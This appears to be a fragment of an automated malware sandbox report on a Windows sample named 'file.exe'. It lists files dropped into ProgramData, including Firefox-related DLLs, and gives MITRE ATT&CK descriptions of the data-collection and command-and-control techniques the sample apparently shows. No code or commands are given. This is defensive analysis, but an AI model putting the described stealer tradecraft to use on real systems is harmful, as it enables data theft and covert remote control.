C:\ProgramData\BAKKEGCA

C:\ProgramData\BKKJKFBK

C:\ProgramData\CBKJKJDBFIIDHJKEHJEH

C:\ProgramData\ECAKECAEGDHIECBGHIII

C:\ProgramData\JJKJDAEBFCBKECBGDBFCFBKKKF

C:\ProgramData\KFIJJJEBGCFBGDHIDGCA

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre